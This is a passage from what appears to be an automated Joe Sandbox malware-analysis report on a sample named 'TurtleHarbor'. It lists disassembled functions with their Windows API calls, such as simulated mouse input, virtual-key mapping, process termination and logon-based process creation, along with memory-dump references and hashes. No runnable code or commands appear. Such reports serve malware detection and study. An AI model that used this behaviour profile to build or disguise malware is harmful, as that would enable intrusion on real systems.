                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                            • String ID:
                                            • API String ID: 1827037458-0
                                            • Opcode ID: 20c3f7635aee399b3bef4380a26f37c6e71ecd3d0e6ce60e4915c79a4404a4e0
                                            • Instruction ID: d784deee777c2ea545d0503855742c42ac86d9019ebf43b5d1998de1f95e9acd
                                            • Opcode Fuzzy Hash: 20c3f7635aee399b3bef4380a26f37c6e71ecd3d0e6ce60e4915c79a4404a4e0
                                            • Instruction Fuzzy Hash: 15419231104300AFD716DF24DC89FEA7BECEB5A364F140669FA958B2A1D7309845DB61
                                            Function 0039BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ShowWindow.USER32(003D77B0,00000000,01015580,?,?,003D77B0,?,0039BC1A,?,?), ref: 0039BD84
                                            • EnableWindow.USER32(?,00000000), ref: 0039BDA8
                                            • ShowWindow.USER32(003D77B0,00000000,01015580,?,?,003D77B0,?,0039BC1A,?,?), ref: 0039BE08
                                            • ShowWindow.USER32(?,00000004,?,0039BC1A,?,?), ref: 0039BE1A
                                            • EnableWindow.USER32(?,00000001), ref: 0039BE3E
                                            • SendMessageW.USER32(?,0000130C,?,00000000), ref: 0039BE61
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Show$Enable$MessageSend
                                            • String ID:
                                            • API String ID: 642888154-0
                                            • Opcode ID: 98b96e97ebc607069a71a00e93bdcccb6436a8bacb690e48bfd8e1c15fd120ba
                                            • Instruction ID: f944a3b6bc39df1f48d2a6503cc69bdedff41734c7e2856c84a89df1e3501402
                                            • Opcode Fuzzy Hash: 98b96e97ebc607069a71a00e93bdcccb6436a8bacb690e48bfd8e1c15fd120ba
                                            • Instruction Fuzzy Hash: D0416C34600144EFDF27CF68E689BD4BBE5FF06714F1941A9EA488F2A2C731A845CB91
                                            Function 00387788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetForegroundWindow.USER32(?,?,?,?,?,?,0038550C,?,?,00000000,00000001), ref: 00387796
                                              • Part of subcall function 0038406C: GetWindowRect.USER32(?,?), ref: 0038407F
                                            • GetDesktopWindow.USER32 ref: 003877C0
                                            • GetWindowRect.USER32(00000000), ref: 003877C7
                                            • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 003877F9
                                              • Part of subcall function 003757FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00375877
                                            • GetCursorPos.USER32(?), ref: 00387825
                                            • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00387883
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                            • String ID:
                                            • API String ID: 4137160315-0
                                            • Opcode ID: cd9b8711fc8c4a29e6b0958c7d1580a80168d33365689abe643dfeaeb12015cc
                                            • Instruction ID: 0db1d9535a37baf01f5802e0171501f89d8ea6af228a462a94442fc198d8cd45
                                            • Opcode Fuzzy Hash: cd9b8711fc8c4a29e6b0958c7d1580a80168d33365689abe643dfeaeb12015cc
                                            • Instruction Fuzzy Hash: E931E172508305ABD726EF14C849F9BB7EEFF89314F100919F59997191CB70E909CBA2
                                            Function 00369431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00368CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00368CDE
                                              • Part of subcall function 00368CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00368CE8
                                              • Part of subcall function 00368CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00368CF7
                                              • Part of subcall function 00368CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00368CFE
                                              • Part of subcall function 00368CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00368D14
                                            • GetLengthSid.ADVAPI32(?,00000000,0036904D), ref: 00369482
                                            • GetProcessHeap.KERNEL32(00000008,00000000), ref: 0036948E
                                            • HeapAlloc.KERNEL32(00000000), ref: 00369495
                                            • CopySid.ADVAPI32(00000000,00000000,?), ref: 003694AE
                                            • GetProcessHeap.KERNEL32(00000000,00000000,0036904D), ref: 003694C2
                                            • HeapFree.KERNEL32(00000000), ref: 003694C9
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                            • String ID:
                                            • API String ID: 3008561057-0
                                            • Opcode ID: 4568beac13b3d6852a3f79cd42f94a1df2d1fa99c9141983c3f0cd7d5335fc86
                                            • Instruction ID: b80862f1b8d0784b3ea14d4e5729602f552fd1c7d96b0361e4287d6033411797
                                            • Opcode Fuzzy Hash: 4568beac13b3d6852a3f79cd42f94a1df2d1fa99c9141983c3f0cd7d5335fc86
                                            • Instruction Fuzzy Hash: 6611DC32601204EFDB17CFA5CC09BAE7BBDEF46322F10C01AE84197218CB36A901CB60
                                            Function 003691CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00369200
                                            • OpenProcessToken.ADVAPI32(00000000), ref: 00369207
                                            • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00369216
                                            • CloseHandle.KERNEL32(00000004), ref: 00369221
                                            • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00369250
                                            • DestroyEnvironmentBlock.USERENV(00000000), ref: 00369264
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                            • String ID:
                                            • API String ID: 1413079979-0
                                            • Opcode ID: 0367b468991a3f5ebee2c09318c1f471dc019d6d7fc4ce42c4138c1949a6c1ef
                                            • Instruction ID: 118c764b5bd5319e4872ea0f038704e175b8b65d0750c889ce507054a5ee6d99
                                            • Opcode Fuzzy Hash: 0367b468991a3f5ebee2c09318c1f471dc019d6d7fc4ce42c4138c1949a6c1ef
                                            • Instruction Fuzzy Hash: CC11477250120EABDF028FA4ED49BDA7BADEB49304F158015FA04A2160C2769D60EB60
                                            Function 0036C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDC.USER32(00000000), ref: 0036C34E
                                            • GetDeviceCaps.GDI32(00000000,00000058), ref: 0036C35F
                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0036C366
                                            • ReleaseDC.USER32(00000000,00000000), ref: 0036C36E
                                            • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0036C385
                                            • MulDiv.KERNEL32(000009EC,?,?), ref: 0036C397
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CapsDevice$Release
                                            • String ID:
                                            • API String ID: 1035833867-0
                                            • Opcode ID: 138a10f35338e86402b1fac73557b2cbd903e78922949b213549eb3df6a22e91
                                            • Instruction ID: 0117c63c6a140973d5cb7bcc550de13870226bc7a6339581da31679072d36923
                                            • Opcode Fuzzy Hash: 138a10f35338e86402b1fac73557b2cbd903e78922949b213549eb3df6a22e91
                                            • Instruction Fuzzy Hash: AC018475E00208BBEF159BA59C49A5EBFBCEB49311F008065FA08AB290D6349C10CFA0
                                            Function 0039C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003116CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00311729
                                              • Part of subcall function 003116CF: SelectObject.GDI32(?,00000000), ref: 00311738
                                              • Part of subcall function 003116CF: BeginPath.GDI32(?), ref: 0031174F
                                              • Part of subcall function 003116CF: SelectObject.GDI32(?,00000000), ref: 00311778
                                            • MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0039C57C
                                            • LineTo.GDI32(00000000,00000003,?), ref: 0039C590
                                            • MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0039C59E
                                            • LineTo.GDI32(00000000,00000000,?), ref: 0039C5AE
                                            • EndPath.GDI32(00000000), ref: 0039C5BE
                                            • StrokePath.GDI32(00000000), ref: 0039C5CE
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Path$LineMoveObjectSelect$BeginCreateStroke
                                            • String ID:
                                            • API String ID: 43455801-0
                                            • Opcode ID: 01117d81b6bc5b7de44e1800d65805a65e5e1ea495591b9859e0723a9d209382
                                            • Instruction ID: 3ec4f26f9987c066656ec1b6cdeb2204f999f9aa2e88221b10738c5d07bc8bf0
                                            • Opcode Fuzzy Hash: 01117d81b6bc5b7de44e1800d65805a65e5e1ea495591b9859e0723a9d209382
                                            • Instruction Fuzzy Hash: B111DB7600010DBFDF139F91DC88FEA7FADEB09354F058052BA195A160D771AE55DBA0
                                            Function 003307BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • MapVirtualKeyW.USER32(0000005B,00000000), ref: 003307EC
                                            • MapVirtualKeyW.USER32(00000010,00000000), ref: 003307F4
                                            • MapVirtualKeyW.USER32(000000A0,00000000), ref: 003307FF
                                            • MapVirtualKeyW.USER32(000000A1,00000000), ref: 0033080A
                                            • MapVirtualKeyW.USER32(00000011,00000000), ref: 00330812
                                            • MapVirtualKeyW.USER32(00000012,00000000), ref: 0033081A
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Virtual
                                            • String ID:
                                            • API String ID: 4278518827-0
                                            • Opcode ID: cf89365d8b0e76d9c7fa839002179778ff65c669047fd2fe23a5e34ea88ab6c2
                                            • Instruction ID: 8e881fc438169c48b88a6cbd457bcfc02ce97e4c0e1ffab2f3a3ed055c065dae
                                            • Opcode Fuzzy Hash: cf89365d8b0e76d9c7fa839002179778ff65c669047fd2fe23a5e34ea88ab6c2
                                            • Instruction Fuzzy Hash: 11016CB09017597DE3008F5A8C85B52FFA8FF59354F00411BA15C47941C7F5A868CBE5
                                            Function 003759A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                            Download Yara Rule
                                            APIs
                                            • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 003759B4
                                            • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 003759CA
                                            • GetWindowThreadProcessId.USER32(?,?), ref: 003759D9
                                            • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003759E8
                                            • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003759F2
                                            • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003759F9
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                            • String ID:
                                            • API String ID: 839392675-0
                                            • Opcode ID: e10005de71018bbd6cb2788cd5be5d5bc96de979e03be328c77b6c6c3c5196ad
                                            • Instruction ID: 6734f42a2740c228310b8a14fa1c96995f092dd7f7d4194d42cf82ba69d228c5
                                            • Opcode Fuzzy Hash: e10005de71018bbd6cb2788cd5be5d5bc96de979e03be328c77b6c6c3c5196ad
                                            • Instruction Fuzzy Hash: 6DF03036241158BFE7265B929C0DEEF7B7CEFC7B15F000159FA05D1060E7A41A1286B5
                                            Function 003777EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • InterlockedExchange.KERNEL32(?,?), ref: 003777FE
                                            • EnterCriticalSection.KERNEL32(?,?,0031C2B6,?,?), ref: 0037780F
                                            • TerminateThread.KERNEL32(00000000,000001F6,?,0031C2B6,?,?), ref: 0037781C
                                            • WaitForSingleObject.KERNEL32(00000000,000003E8,?,0031C2B6,?,?), ref: 00377829
                                              • Part of subcall function 003771F0: CloseHandle.KERNEL32(00000000,?,00377836,?,0031C2B6,?,?), ref: 003771FA
                                            • InterlockedExchange.KERNEL32(?,000001F6), ref: 0037783C
                                            • LeaveCriticalSection.KERNEL32(?,?,0031C2B6,?,?), ref: 00377843
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                            • String ID:
                                            • API String ID: 3495660284-0
                                            • Opcode ID: 59078ba4a991e43dc665bbccd0caa91088fe31052032b2d31e8c7bc540291239
                                            • Instruction ID: 7cf533d84401b605d1666eef8998cde7ae8733380b74449389deee792a709d76
                                            • Opcode Fuzzy Hash: 59078ba4a991e43dc665bbccd0caa91088fe31052032b2d31e8c7bc540291239
                                            • Instruction Fuzzy Hash: 33F05E36145312ABD7272B64EC8DAEF773DFF46302F154821F102950A1CBB95801CB61
                                            Function 0036954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00369555
                                            • UnloadUserProfile.USERENV(?,?), ref: 00369561
                                            • CloseHandle.KERNEL32(?), ref: 0036956A
                                            • CloseHandle.KERNEL32(?), ref: 00369572
                                            • GetProcessHeap.KERNEL32(00000000,?), ref: 0036957B
                                            • HeapFree.KERNEL32(00000000), ref: 00369582
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                            • String ID:
                                            • API String ID: 146765662-0
                                            • Opcode ID: fdb0b7ef5eb672980e40c4fecaba9ea31d0cd235ea3f0c45c4af92b190e17cf3
                                            • Instruction ID: dcade1dae0e5117c187450c8b3125d832f85bc7e7442186de3a314003ad0caae
                                            • Opcode Fuzzy Hash: fdb0b7ef5eb672980e40c4fecaba9ea31d0cd235ea3f0c45c4af92b190e17cf3
                                            • Instruction Fuzzy Hash: 0EE0C23A104101BFDA061BE1EC0C99ABB2DFB4A722F104220F215810B0CB72A461DF50
                                            Function 00388CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                            Download Yara Rule
                                            APIs
                                            • VariantInit.OLEAUT32(?), ref: 00388CFD
                                            • CharUpperBuffW.USER32(?,?), ref: 00388E0C
                                            • VariantClear.OLEAUT32(?), ref: 00388F84
                                              • Part of subcall function 00377B1D: VariantInit.OLEAUT32(00000000), ref: 00377B5D
                                              • Part of subcall function 00377B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00377B66
                                              • Part of subcall function 00377B1D: VariantClear.OLEAUT32(00000000), ref: 00377B72
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$ClearInit$BuffCharCopyUpper
                                            • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                            • API String ID: 4237274167-1221869570
                                            • Opcode ID: edb21aa405dd4ab7fc02ce88b95273e87851d4fdeefee5c727bacb16f3589508
                                            • Instruction ID: eec7bf6b86a2c5ea2f9e8f329697f314774a7e2b7a2440a524745ab7a7ce7ca2
                                            • Opcode Fuzzy Hash: edb21aa405dd4ab7fc02ce88b95273e87851d4fdeefee5c727bacb16f3589508
                                            • Instruction Fuzzy Hash: 9F919F746083019FC715EF24C48095ABBF5EF99314F14895EF88A8B362DB31ED45CB51
                                            Function 0037323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0032436A: _wcscpy.LIBCMT ref: 0032438D
                                            • _memset.LIBCMT ref: 0037332E
                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0037335D
                                            • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00373410
                                            • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0037343E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ItemMenu$Info$Default_memset_wcscpy
                                            • String ID: 0
                                            • API String ID: 4152858687-4108050209
                                            • Opcode ID: f778b35271cf485bfbadb773e32294c8afff4e4564316057d0eb08eed36c8f43
                                            • Instruction ID: 22ab645c1674dc1dabbd1b096dea789d78e0f1d35556efb387da1591491b3814
                                            • Opcode Fuzzy Hash: f778b35271cf485bfbadb773e32294c8afff4e4564316057d0eb08eed36c8f43
                                            • Instruction Fuzzy Hash: 3B51CF316083019BD73BDE29D84566BBBE8AF45310F058A2EF899D72D1DB38CE44E752
                                            Function 0039DF09 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00388A0E,?,00000000), ref: 0039DF71
                                            • SetErrorMode.KERNEL32(00000001,?,00000000,00000000,00000000,?,00388A0E,?,00000000,00000000), ref: 0039DFA7
                                            • GetProcAddress.KERNEL32(00000000,DllGetClassObject), ref: 0039DFB8
                                            • SetErrorMode.KERNEL32(00000000,?,00000000,00000000,00000000,?,00388A0E,?,00000000,00000000), ref: 0039E03A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorMode$AddressCreateInstanceProc
                                            • String ID: DllGetClassObject
                                            • API String ID: 753597075-1075368562
                                            • Opcode ID: f1b00f36fbfc2928778692ef5139b751147c2d943dcc2bd2f1f37f209129c5b6
                                            • Instruction ID: 106af62edd3492f6e6f33b2f0a0564acc8193dee05a425d580dd0c71109cdb35
                                            • Opcode Fuzzy Hash: f1b00f36fbfc2928778692ef5139b751147c2d943dcc2bd2f1f37f209129c5b6
                                            • Instruction Fuzzy Hash: 85416D76600205EFDF16CF56C884BAA7BA9EF44710F1480AAE9099F205E7F5DD44CBA0
                                            Function 00372EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00372F67
                                            • GetMenuItemInfoW.USER32(00000004,?,00000000,?), ref: 00372F83
                                            • DeleteMenu.USER32(?,00000007,00000000), ref: 00372FC9
                                            • DeleteMenu.USER32(?,?,00000000,?,00000000,00000000,003D7890,00000000), ref: 00373012
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
